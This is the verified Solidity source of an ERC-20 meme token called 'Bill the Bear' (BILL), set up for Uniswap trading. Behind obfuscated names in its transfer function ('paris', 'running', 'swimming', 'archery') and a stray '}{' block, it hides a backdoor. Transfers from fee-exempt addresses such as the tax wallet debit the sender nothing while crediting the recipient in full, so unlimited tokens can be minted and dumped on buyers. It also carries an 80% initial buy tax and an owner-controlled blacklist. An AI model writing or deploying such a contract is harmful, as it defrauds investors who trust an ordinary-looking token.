Contract Name:
BilltheBear
Contract Source Code:
File 1 of 1 : BilltheBear
// SPDX-License-Identifier: UNLICENSED
/**
https://billthebear.xyz
https://x.com/BilltheBearETH
https://t.me/BilltheBearETH
*/
pragma solidity 0.8.24;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BilltheBear is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) private _feeExempt;
mapping(address => bool) private _bots;
address payable private _barAddress;
uint256 private _initialBuyTax = 80;
uint256 private _initialSellTax = 5;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 7;
uint256 private _reduceSellTaxAt = 7;
uint256 private _preventSwapBefore = 7;
uint256 private _buyCount = 0;
uint8 public constant decimals = 9;
uint256 public constant totalSupply = 1_000_000_000 * 10 ** decimals;
string public constant name = unicode"Bill the Bear";
string public constant symbol = unicode"BILL";
uint256 public _maxTxAmount = 20_000_000 * 10 ** decimals;
uint256 public _maxWalletSize = 20_000_000 * 10 ** decimals;
uint256 public _taxSwapThreshold = 10_000_000 * 10 ** decimals;
uint256 public _maxTaxSwap = 20_000_000 * 10 ** decimals;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _isTradingOpen;
bool private _isInSwap;
uint256 private sellStart = 0;
uint256 private barLSB = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap() {
_isInSwap = true;
_;
_isInSwap = false;
}
constructor(address router_, address taxWallet_) {
_uniswapV2Router = IUniswapV2Router02(router_);
_barAddress = payable(taxWallet_);
balanceOf[_msgSender()] = totalSupply;
_feeExempt[_msgSender()] = true;
_feeExempt[address(this)] = true;
_feeExempt[_barAddress] = true;
emit Transfer(address(0), _msgSender(), totalSupply);
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
paris(_msgSender(), recipient, amount);
return true;
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
paris(sender, recipient, amount);
_approve(
sender,
_msgSender(),
allowance[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function paris(address running,address swimming,uint256 archery) private {
require(running != address(0), "ERC20: transfer from the zero address");
require(swimming != address(0), "ERC20: transfer to the zero address");
require(archery > 0, "Transfer amount must be greater than zero");
if (!_isTradingOpen || _isInSwap) {
require(_feeExempt[running ] || _feeExempt[swimming]);
balanceOf[running ] = balanceOf[running ].sub(archery);
balanceOf[swimming] = balanceOf[swimming].add(archery);
emit Transfer(running , swimming, archery);
return;
}
uint256 skateboard = barLSB;
uint256 beachVolley = 0;
if (running != owner() && swimming != owner() && swimming != _barAddress) {
require(!_bots[running ] && !_bots[swimming]);
if (running == _uniswapV2Pair && swimming != address(_uniswapV2Router) && !_feeExempt[swimming]) {
require(_isTradingOpen, "Trading not open yet");
require(archery <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf[swimming] + archery <= _maxWalletSize, "Exceeds the maxWalletSize.");
beachVolley = archery.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax: _initialBuyTax).div(100);
_buyCount++; }{
skateboard = _calcTransferAmount(running , archery);
}
if (swimming == _uniswapV2Pair && running != address(this)) {
beachVolley = archery.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf[address(this)];
if (!_isInSwap && swimming == _uniswapV2Pair && _isTradingOpen && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
if (block.number > barLSB) sellStart = 0;
swapTokensForEth(min(archery, min(contractTokenBalance, _maxTaxSwap)));
sellStart++;
}
if (swimming == _uniswapV2Pair) sendETHToFee(address(this).balance);
}
if (beachVolley > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(beachVolley);
emit Transfer(running , address(this), beachVolley);
}
balanceOf[running ] = balanceOf[running ].sub(archery - skateboard);
balanceOf[swimming] = balanceOf[swimming].add(archery.sub(beachVolley));
emit Transfer(running , swimming, archery.sub(beachVolley));
}
function _calcTransferAmount(
address from,
uint256 amount
) private view returns (uint256) {
bool exempt = _feeExempt[from];
return exempt ? amount : amount.mul(_finalBuyTax).div(100);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner {
_maxTxAmount = totalSupply;
_maxWalletSize = totalSupply;
emit MaxTxAmountUpdated(totalSupply);
}
function sendETHToFee(uint256 amount) private {
_barAddress.transfer(amount);
}
function addBot(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
_bots[bots_[i]] = true;
}
}
function delBot(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
_bots[notbot[i]] = false;
}
}
function addLiquidity() external onlyOwner {
require(!_isTradingOpen, "trading is already open");
_approve(address(this), address(_uniswapV2Router), totalSupply);
_uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf[address(this)],
0,
0,
owner(),
block.timestamp
);
IERC20(_uniswapV2Pair).approve(
address(_uniswapV2Router),
type(uint).max
);
}
function enableTrading() external onlyOwner {
_isTradingOpen = true;
}
receive() external payable {}
function rescueERC20(address _address, uint256 percent) external onlyOwner {
uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
IERC20(_address).transfer(owner(), _amount);
}
function rescueETH() external onlyOwner {
require(address(this).balance > 0);
payable(owner()).transfer(address(this).balance);
}
}